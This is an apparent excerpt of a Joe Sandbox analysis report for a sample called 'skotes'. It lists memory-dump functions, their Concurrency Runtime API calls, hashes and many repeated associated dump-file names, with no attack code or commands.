Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: af1f4a0d7be5dcc9b11b321bacc5968c77a467c169eff9664649cfbbf66fe703
Instruction ID: 93a6f8b9039a1a6f77a3d220fd007c376f2a2ed5074b7b7fab14c298c4ea4c6e
Opcode Fuzzy Hash: af1f4a0d7be5dcc9b11b321bacc5968c77a467c169eff9664649cfbbf66fe703
Instruction Fuzzy Hash: 99B16CB0A00615EFDB29CF69D981BBEB7F4FF44302F14456AE905AB681D334AD85CB90

Function 00051602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00052CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00052D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00051614

Part of subcall function 00052E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00052E39
Part of subcall function 00052E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00052EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00051746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 000517A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 000517B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 000517ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0005180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0005181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00051823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0005183B

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: a90c456f641c662fde6d8e02c248940764e185fb5c942255ec88c62b4f77f323
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: DE817B75E002259FCB18CFA8C584AAEB7F1FF48305B1546ADD855A7702CB70AD46CB84

Function 0005EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0005EC81

Part of subcall function 00058F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00058F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0005ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0005ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0005ED0C

Part of subcall function 0005E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0005E7D7
Part of subcall function 0005E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0005E86F
Part of subcall function 0005E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0005E879
Part of subcall function 0005E7AF: Concurrency::location::_Assign.LIBCMT ref: 0005E8AD
Part of subcall function 0005E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0005E8B5

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 505d701d85aac1992aeb49944c70d8d961cff684f9cb03207853eae12b318b85
Instruction ID: fc0a774090198fb5912f524b5089d9687e488fc685bbd79bc1af1a42575e7ea9
Opcode Fuzzy Hash: 505d701d85aac1992aeb49944c70d8d961cff684f9cb03207853eae12b318b85
Instruction Fuzzy Hash: 6951BF31A00205DBDF68DF50C899BAEB7B1AF44311F1440A9ED467B396CB75AF09CBA1

Function 0004CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0004CBAA

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 22a9a9147fed9e3061020203e6e22374e9b8b046056851bc8cfac26a85a9195f
Instruction ID: 1ae0a218e41834b487671e857c1f6e659dd7a66613b781173115953c282519a8
Opcode Fuzzy Hash: 22a9a9147fed9e3061020203e6e22374e9b8b046056851bc8cfac26a85a9195f
Instruction Fuzzy Hash: 2DB09232A1383047EAD22B14BC0999D7754AF80A1230A0166D841A7224CB591D864BD8

Function 0004DD91 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

L/ds, xrefs: 0004DDBC

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: L/ds
API String ID: 0-185251681
